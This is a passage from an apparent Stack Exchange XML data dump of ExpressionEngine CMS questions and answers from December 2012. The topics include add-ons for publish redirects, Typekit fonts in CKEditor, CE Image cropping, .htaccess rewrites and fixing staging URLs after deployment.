href=&quot;http://www.devdemon.com/docs/channel_videos/tags/videos.html#video-img-url&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;{video:img_url_hd}&lt;/code&gt; - &lt;a href=&quot;http://www.devdemon.com/docs/channel_videos/tags/videos.html#video-img-url-hd&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the jQuery for Camera might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function(){&#xA;&#xA;    jQuery('#videos').camera({&#xA;        height: '56%',&#xA;        loader: 'bar',&#xA;        pagination: false,&#xA;        thumbnails: true,&#xA;        imagePath: '../images/',&#xA;        time: 4500&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(don't forget to link to camera's js file itself as well!)&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-12-04T01:28:21.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1042" PostTypeId="2" ParentId="1037" CreationDate="2012-12-04T01:34:21.700" Score="0" Body="&lt;p&gt;I came across this addon that allows you to do specific redirects based on the channel entry being added/updated/deleted. Think it might do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/deviant&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/deviant&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2012-12-04T01:34:21.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1043" PostTypeId="2" ParentId="1037" CreationDate="2012-12-04T01:34:54.147" Score="11" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/deviant&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Deviant&lt;/strong&gt;&lt;/a&gt; is great for this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Deviant allows you to control, globally or on a per-channel basis,&#xA;  where authors land after publishing, updating or deleting entries in&#xA;  the EE control panel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can choose to route users to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Default Preview&lt;/li&gt;&#xA;&lt;li&gt;Publish Form&lt;/li&gt;&#xA;&lt;li&gt;Edit Entry&lt;/li&gt;&#xA;&lt;li&gt;Manage Entries&lt;/li&gt;&#xA;&lt;li&gt;Pages module&lt;/li&gt;&#xA;&lt;li&gt;Structure module&lt;/li&gt;&#xA;&lt;li&gt;Zenbu module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50d8e.png&quot; alt=&quot;Deviant Extension&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-12-04T01:40:08.113" LastActivityDate="2012-12-04T01:40:08.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1044" PostTypeId="2" ParentId="1037" CreationDate="2012-12-04T01:39:09.167" Score="3" Body="&lt;p&gt;You can disable Structure’s entry redirection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module -&gt; Structure -&gt; Module Settings -&gt; &lt;strong&gt;Redirect to Structure on entry publish/save -&gt; No&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I use the &lt;a href=&quot;http://devot-ee.com/add-ons/quicksave&quot; rel=&quot;nofollow&quot;&gt;QuickSave&lt;/a&gt; add-on to stay on the edit page when saving an entry (QuickSave settings: &lt;strong&gt;‘Save &amp;amp; Close’ Destination -&gt; Edit Entries Page&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/sc-publish-redirect&quot; rel=&quot;nofollow&quot;&gt;SC Publish Redirect&lt;/a&gt; is another add-on. But I have not tested it yet.&lt;/p&gt;&#xA;" OwnerUserId="201" LastActivityDate="2012-12-04T01:39:09.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1045" PostTypeId="2" ParentId="1034" CreationDate="2012-12-04T01:48:08.633" Score="5" Body="&lt;p&gt;A query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM exp_members WHERE last_visit = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-12-04T01:48:08.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1046" PostTypeId="2" ParentId="1038" CreationDate="2012-12-04T01:49:01.660" Score="14" Body="&lt;p&gt;There is a &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/typekit_fonts_in_wygwam_frame_injecting_scripts_into_iframe&quot; rel=&quot;nofollow&quot;&gt;one year old thread&lt;/a&gt; on Pixel&amp;amp;Tonic’s support forum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use Typekit with Wygwam/CKEditor you have to include two scripts in your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//use.typekit.net/XXXXXXXX.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;try{Typekit.load();}catch(e){}&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/typekit_fonts_in_wygwam_frame_injecting_scripts_into_iframe&quot; rel=&quot;nofollow&quot;&gt;Scott Wise figured out this hack&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I figured out a rough injection for the time being. In&#xA;  &lt;code&gt;/themes/third_party/lib/ckeditor/ckeditor.js&lt;/code&gt;, on line 9 there is an&#xA;  array push into the header that defines the CSS (presumably whatever&#xA;  is defined in the &lt;code&gt;contentsCss&lt;/code&gt; property): &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;h.push('');&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I simply added another push() immediately following that (with both&#xA;  scripts I need in one string), and now I've got my scripts into each&#xA;  instance of the iFrame, fully functional!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; It seems that ckeditor.js (Wygwam 2.6.3) has changed since the &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/typekit_fonts_in_wygwam_frame_injecting_scripts_into_iframe&quot; rel=&quot;nofollow&quot;&gt;forum thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ckeditor.js replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else k.push('&amp;lt;link type=&quot;text/css&quot; rel=stylesheet href=&quot;'+j+'&quot;&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else k.push('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//use.typekit.net/XXXXXXXX.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;try{Typekit.load();}catch(e){}&amp;lt;/script&amp;gt;&amp;lt;link type=&quot;text/css&quot; rel=stylesheet href=&quot;'+j+'&quot;&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(XXXXXXXX = the string from your Typekit embed code)&lt;/p&gt;&#xA;" OwnerUserId="201" LastEditorUserId="201" LastEditDate="2012-12-05T08:33:31.987" LastActivityDate="2012-12-05T08:33:31.987" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1047" PostTypeId="2" ParentId="1013" CreationDate="2012-12-04T02:33:33.767" Score="0" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/wb-category-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/wb-category-select&lt;/a&gt; field type&#xA;It creates a drop-down of one or more category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also one of the best category plugins around - &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/gwcode-categories&lt;/a&gt;&#xA;you can use it to generate nested or simple list of categories or custom category fields. &lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2012-12-04T02:33:33.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1048" PostTypeId="1" AcceptedAnswerId="1146" CreationDate="2012-12-04T02:38:06.747" Score="3" ViewCount="375" Body="&lt;p&gt;I've got some images that are not square (portrait and landscape format), but I want them cropped square with CE Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried various parameters from the documentation, but the results are stretched unnaturally. I'd prefer to have the image cropped to center and not scaled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{image}&quot; filter=&quot;grayscale&quot; filename_suffix=&quot;-OFF&quot; unique=&quot;none&quot; class=&quot;fadein&quot; max=&quot;192&quot; crop=&quot;yes|center,center|0,0|no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="225" LastEditorUserId="16" LastEditDate="2012-12-05T07:01:33.980" LastActivityDate="2012-12-05T20:38:45.457" Title="Image cropping/sizing with CE Image" Tags="|add-on|ce-image|image|crop|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1049" PostTypeId="1" CreationDate="2012-12-04T02:47:06.430" Score="7" ViewCount="227" Body="&lt;p&gt;When an entry on my site is changed, an email is fired off using MX Notify Control (http://devot-ee.com/add-ons/mx-notify-control)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is great, but I have no idea what changed. Sometimes it was just one checkbox or it might have been the whole page was rewritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get a better feel of what is different. It would be great to have a Diff type view for text, but even if I knew what fields had changed it would be a great.&lt;/p&gt;&#xA;" OwnerUserId="318" LastEditorUserId="268" LastEditDate="2012-12-04T03:23:59.617" LastActivityDate="2013-08-05T12:28:16.463" Title="How to get a notification about what changed in an entry" Tags="|add-on|email|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1050" PostTypeId="2" ParentId="1048" CreationDate="2012-12-04T02:56:50.450" Score="12" Body="&lt;p&gt;This has always worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{url}&quot; width=&quot;200&quot; height=&quot;200&quot; crop=&quot;yes|center,center&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can obviously add any additional paramaters (offset, filter, etc), but give this simple example a shot and try adjusting from there.  &lt;/p&gt;&#xA;" OwnerUserId="263" LastActivityDate="2012-12-04T02:56:50.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1051" PostTypeId="1" AcceptedAnswerId="1052" CreationDate="2012-12-04T04:02:17.773" Score="4" ViewCount="2111" Body="&lt;p&gt;I need a list of all entries filtered by a relationship field. I thought I might be able to use the &lt;code&gt;search&lt;/code&gt; parameter: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&lt;/a&gt;, but it apparently only works on “Text Input”, “Textarea”, and “Drop-down Lists”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm tempted to convert my relationship field to a Drop-down list and figure out another way to make the relationship between my channels. What are my options? Should I be using Category module somehow?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-04T20:30:07.937" Title="Channel Entries - possible to search relationship field?" Tags="|templates|channel-entries|entries|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1052" PostTypeId="2" ParentId="1051" CreationDate="2012-12-04T04:21:51.000" Score="5" Body="&lt;p&gt;If you use Playa instead of the default relationship type, and make the field Searchable in the options, it will work as if it were a text type. But that doesn't work with the default Relationship fieldtype; you'll have to get Playa.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-12-04T04:21:51.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1054" PostTypeId="2" ParentId="1049" CreationDate="2012-12-04T07:38:01.527" Score="2" Body="&lt;p&gt;In the Better Workflow support forum, it seems that this functionality is on their&#xA;roadmap.&#xA;&lt;a href=&quot;http://betterworkflow.tenderapp.com/discussions/questions/39-can-each-user-see-what-has-changed-between-the-live-draft-and-submitted-versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Support Thread&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2012-12-04T07:38:01.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1055" PostTypeId="1" CreationDate="2012-12-04T07:40:32.367" Score="5" ViewCount="165" Body="&lt;p&gt;Weird one - haven't seen this before. Just launched a newly upgraded from ee1 to ee2 site at www.bankofmarin.com. Everything works fine. This is a Structure site and I have strict URLs on to enforce 404 with bad URLs. Works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to place some non-ee php files in the root, and they just aren't working. This one &lt;a href=&quot;https://www.bankofmarin.com/t.php&quot; rel=&quot;nofollow&quot;&gt;https://www.bankofmarin.com/t.php&lt;/a&gt; should show the date. Instead I get the 404 page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my htaccess: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Enable Rewrite Engine&#xA;# ------------------------------&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Use Dynamic robots.txt file&#xA;# ------------------------------&#xA;RewriteRule robots\.txt /robots.php [L]&#xA;&#xA;&#xA;# Force the www - this version will not force www on subdomains, only http://bankofmarin.com&#xA;# ------------------------------&#xA;RewriteCond %{HTTP_HOST} ^bankofmarin.com [NC] &#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ https://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;&#xA;# Force https - this will only force https on the www site&#xA;# ------------------------------&#xA;RewriteCond %{SERVER_PORT} 80&#xA;RewriteCond %{HTTP_HOST} !^dev\.&#xA;RewriteCond %{HTTP_HOST} !^staging\.&#xA;RewriteRule ^(.*)$ https://www.bankofmarin.com/$1 [R=301,L]&#xA;&#xA;&#xA;# Redirect index.php Requests&#xA;# ------------------------------&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} !/admin/.*&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;&#xA;# Standard ExpressionEngine Rewrite&#xA;# ------------------------------&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought it might be something in there but its all pretty straightforward. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="149" LastEditorUserId="268" LastEditDate="2012-12-04T08:52:38.930" LastActivityDate="2012-12-16T06:14:28.160" Title="Can't see root level non-ee php files" Tags="|php|structure|htaccess|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1056" PostTypeId="1" AcceptedAnswerId="1058" CreationDate="2012-12-04T08:00:10.337" Score="2" ViewCount="80" Body="&lt;p&gt;I'm working on converting an old 1.X extension over to EE 2.X, but my hook was 'submit_new_entry_end'. I can't seem to find a reference to what hook should replace it. My guess is '&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#entry-submission-absolute-end&quot; rel=&quot;nofollow&quot;&gt;entry_submission_absolute_end&lt;/a&gt;', but is that right?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2012-12-04T08:07:52.213" Title="In EE 2.X what replaces the submit_new_entry_end hook?" Tags="|add-on|extension|hook|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1057" PostTypeId="2" ParentId="1055" CreationDate="2012-12-04T08:02:00.990" Score="9" Body="&lt;p&gt;I'm not an .htaccess guru, but we worked with someone to develop a base .htaccess file for use with our clients, and they all contain this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## MOD REWRITE BASE&#xA;## Checks for file/folder before serving pages in ExpressionEngine&#xA;RewriteEngine On&#xA;RewriteCond $1 !\.(gif|jpe?g|png|txt)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;#RewriteRule ^(.*)$ http://www.domain.org/$1 [R]&#xA;## END MOD REWRITE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The goal was to always have EE check to see if there was a file that existed first, then process ExpressionEngine requests and it's been working for us. We just modify the {domain} component for each client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I recall, the consultant who helped us with this said that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checks for the file name first, then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checks for a directory with said, file, then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;removes the index.php. The remainder is the domain magic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've been using that as a base for .htaccess file for over 6-8 years now, it it hasn't failed us.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="28" LastEditDate="2012-12-16T06:14:28.160" LastActivityDate="2012-12-16T06:14:28.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1058" PostTypeId="2" ParentId="1056" CreationDate="2012-12-04T08:07:52.213" Score="5" Body="&lt;p&gt;I would assume so. Instead of asking yourself what hook replaces what hook, ask yourself if this describes the hook you need:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Additional processing after entry submission, after all processing,&#xA;  prior to redirect.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If so, entry_submission_absolute_end should be the hook you want :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll get the _entry_id, an array of meta data and an array of actual entry data, so you can do pretty much anything with it.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2012-12-04T08:07:52.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1059" PostTypeId="1" AcceptedAnswerId="1082" CreationDate="2012-12-04T08:21:22.543" Score="2" ViewCount="108" Body="&lt;p&gt;I am currently using freeform version 4.0.6 in EE version 2.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the emails that were send are completely empty (no message body)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I the only one that is having this problem? Is there a solution for this problem?&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="268" LastEditDate="2012-12-04T08:53:00.303" LastActivityDate="2012-12-04T14:49:40.307" Title="Freeform 4 sends empty emails" Tags="|add-on|email|solspace-freeform|solspace|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1060" PostTypeId="2" ParentId="1051" CreationDate="2012-12-04T08:30:05.300" Score="0" Body="&lt;p&gt;You don't really say what your trying to accomplish, so I can't say if this is recommended advice, but 'yes'. Yes, it's possible to just use a text field as the basis of a relationship, if you aren't afraid of doing custom queries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've done this in a number of situations. Generally, speaking using the relationship field type or Playa works for us, but every once in awhile, a search:in or custom query performs better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example, for use, we needed to be able to display all multilingual versions of a publication. The client, produces publications, not all publications are translated, and not all languages are completed when translation occurs, plus occasionally publications are translated into random languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a publication could have an English, Chinese, Spanish, Vietnamese, or Korean version (the five standards), but occasionally may have a Russian, Hmong, or other language translation as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We made the relationship field, a text field that already exist, PubID. This field exist to correlate the web version of the publication to the print version, but any version of the publication got the id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have six language channels— english, spanish, chinese, korean, vietnamese, and other. We're using a custom query, since the system was set-up pre-search:in days, but basically the query just looks for the current PubID across all six channels, returns the channel name. A subquery is then executed if the channel name is 'other', to pull the results from the specified language field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So whatever version of the publication a user is viewing, a listing of all the other languages it is available in is provided, and the client doesn't have to keep an updated language list, they just publish the new version, when and if it's ever translated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's a rather long statement to say, 'yes' if the situation warrants it, it is doable, but make sure doing it, makes life easier for the project/client.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-04T08:30:05.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1061" PostTypeId="2" ParentId="796" CreationDate="2012-12-04T08:49:24.903" Score="0" Body="&lt;p&gt;This is not marked as answered, did you find a solution?  I don't know off the top of my head why this would be happening, but one thing to try would be to put an absolute url instead of a relative one at the destination of your redirectMatch statement.  The docs ask for the full URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try replacing that last &lt;code&gt;(.*)&lt;/code&gt; with &lt;code&gt;(([\/\w \.-]*)&lt;/code&gt; if a query string is somehow being added internally before reaching that step, that should strip it out by matching only numbers letters underscores dots and hyphens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to move that up earlier in your list of redirects, it seems likely that you are getting unexpected input into your redirect.  You could turn on redirect logging in Apache  to try to get a better sense of what is happening.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-05T00:54:36.537" LastActivityDate="2012-12-05T00:54:36.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1062" PostTypeId="1" CreationDate="2012-12-04T09:11:05.797" Score="5" ViewCount="246" Body="&lt;p&gt;My members each have their own &quot;PR-room&quot; where all their entries in several channels + their public profiles are collected and shown to the public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a listings page where the 4 last updated PR-rooms are listed. When I ask for the latest entries/edits with the channel:entries tag on multiple channels, I'll get &quot;duplicates&quot;, i.e. if a member has posted in both the &quot;News&quot;- and &quot;Galleries&quot;-channel I'll get two listings for the same member/author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I restrict the list to only one result pr. member, regardless of how many channels they've posted in?&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2012-12-04T15:43:13.700" Title="Listing the members/authors who last posted/edited entries in several channels" Tags="|channel-entries|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1063" PostTypeId="2" ParentId="436" CreationDate="2012-12-04T09:18:38.320" Score="0" Body="&lt;p&gt;If you simply need to lock  an area down for all but certain member groups then a simple conditional to check the logged in member's group should suffice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group==&quot;1|3|4&quot;} &amp;lt;-- grant access to anyone in groups 1, 3 or 4&#xA;     Display the content&#xA;{if:else}&#xA;     Show a message indicating they don't have access...or issue a redirect&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-12-04T09:18:38.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1065" PostTypeId="1" CreationDate="2012-12-04T10:02:46.583" Score="3" ViewCount="1569" Body="&lt;p&gt;This question is also on StackOverflow. Sorry for repeating...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just moved an ExpressionEngine (v.2.5.3) stage site to the production server. The site uses Structure and Publisher add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything went well except that &lt;strong&gt;all the hyperlinks using &lt;code&gt;{page_url}&lt;/code&gt; are pointed to the stage site and not to the new site.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;strong&gt;&lt;code&gt;{page_url}&lt;/code&gt;&lt;/strong&gt; to call Structure entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I use &lt;code&gt;{path=&quot;&quot;}&lt;/code&gt; or &lt;code&gt;{url_title_path={segment_1}}&lt;/code&gt; for instance the URLs are OK. It is only when using {page_url} that they kept pointed to the stage site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;{page_uri}&lt;/code&gt;, which works, but then the language prefixes from Publisher get lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run REElocate add-on and then checked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Admin &gt; General Configuration &gt; URL to the root directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Main index.php file, for any overrides to site_url&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Main config.php file for site_url variable overrides&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I checked all the Basepath to Template File Directory, the base_url, Also clean all caches,etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I went to check all the database SQL tables and: exp_files and publisher_log tables show staging paths not the new ones...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="531" LastEditorUserId="22" LastEditDate="2012-12-04T15:13:51.667" LastActivityDate="2012-12-05T06:16:22.813" Title="Structure {page_url} variables still pointing to staging site after deploying to production" Tags="|structure|url|server-migration|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1066" PostTypeId="2" ParentId="1065" CreationDate="2012-12-04T10:10:04.877" Score="2" Body="&lt;p&gt;This sounds like a Structure problem ... Admin &gt; General and your paths are correct?&lt;/p&gt;&#xA;" OwnerUserId="272" LastActivityDate="2012-12-04T10:10:04.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1067" PostTypeId="2" ParentId="1065" CreationDate="2012-12-04T10:20:31.160" Score="1" Body="&lt;p&gt;Do you still have e.g. MAMP running? Maybe there is something left in the local cache from your stage_site&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2012-12-04T10:20:31.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1068" PostTypeId="2" ParentId="1065" CreationDate="2012-12-04T10:26:31.487" Score="1" Body="&lt;p&gt;Have you tried resaving the entries? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it also a problem for newly created entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could do a mass find and replace on the database via Tools &gt; Data &gt; Search and Replace&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-12-04T10:26:31.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1069" PostTypeId="2" ParentId="1065" CreationDate="2012-12-04T11:51:28.430" Score="4" Body="&lt;p&gt;I used to have issues like this then I started using a DRY config.php file. I would strongly recommend doing the same. My first config.php file was based on the one from this NetTuts article, &lt;a href=&quot;http://net.tutsplus.com/tutorials/php/apply-the-dry-principle-to-build-websites-with-expressionengine-2/&quot; rel=&quot;nofollow&quot;&gt;&quot;Apply the DRY Principle to Build Websites With ExpressionEngine 2&quot;&lt;/a&gt;. If you set this up right you won't need to mess with REElocate anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do use this approach and you still have problems, clear your cache and resave the entries. If the problem STILL persists then you might need to go into the SQL manually and fix the paths and hope they don't resurface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&#xA;Now that I'm in the office and have a couple minutes I can share my default config file (the database.php file is the same as the one from the article).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest change from the NetTuts article is the use of $_SERVER['HTTP_HOST'] instead of $_SERVER['SERVER_ADDR'] because I tend to setup the staging server as a subdomain on the clients production server. This is to ensure that 